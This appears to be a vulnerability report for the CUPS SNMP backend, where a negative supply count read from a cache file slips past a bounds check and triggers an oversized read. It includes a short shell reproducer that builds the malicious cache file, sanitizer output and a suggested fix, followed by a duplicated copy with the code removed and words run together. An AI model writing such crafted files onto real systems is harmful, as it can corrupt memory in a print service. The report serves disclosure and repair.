Summary
In backend/snmp-supplies.c:577, num_supplies is read as a signed int via sscanf and checked with num_supplies <= CUPS_MAX_SUPPLIES (32), which allows negative values. When cast to size_t for cupsFileRead(), a negative value wraps to ~SIZE_MAX, causing a massive read into the fixed-size supplies buffer.
Details
// backend/snmp-supplies.c:577-583
if (sscanf(value, "3 %d%d", &num_supplies, &charset) == 2 &&
num_supplies <= CUPS_MAX_SUPPLIES && // -1 <= 32 passes!
cupsFileGets(cachefile, value, sizeof(value)))
{
cupsFileRead(cachefile, (char *)supplies,
(size_t)num_supplies * sizeof(backend_supplies_t));
// (size_t)(-1) * 528 = massive value → overflow
}
The cache file is at {CUPS_CACHEDIR}/{printer_ip}.snmp and is written by the SNMP backend itself. Requires lp group write access to the cache directory.
Reproducer
# Create malicious cache file
echo "3 -1 0" > /tmp/test.snmp
echo "test printer" >> /tmp/test.snmp
printf 'A%.0s' {1..4096} >> /tmp/test.snmp
# Test program that reproduces the sscanf + cupsFileRead pattern
# Compile with -fsanitize=address and run
ASan output:
ERROR: AddressSanitizer: negative-size-param: (size=-528)
#0 memcpy → cupsFileRead (cups/file.c:1503)
Suggested Fix
if (sscanf(value, "3 %d%d", &num_supplies, &charset) == 2 &&
- num_supplies <= CUPS_MAX_SUPPLIES &&
+ num_supplies > 0 && num_supplies <= CUPS_MAX_SUPPLIES &&
cupsFileGets(cachefile, value, sizeof(value)))
Summary
In
backend/snmp-supplies.c:577,num_suppliesis read as a signedintviasscanfand checked withnum_supplies <= CUPS_MAX_SUPPLIES(32), which allows negative values. When cast tosize_tforcupsFileRead(), a negative value wraps to ~SIZE_MAX, causing a massive read into the fixed-sizesuppliesbuffer.Details
The cache file is at
{CUPS_CACHEDIR}/{printer_ip}.snmpand is written by the SNMP backend itself. Requireslpgroup write access to the cache directory.Reproducer
ASan output:
Suggested Fix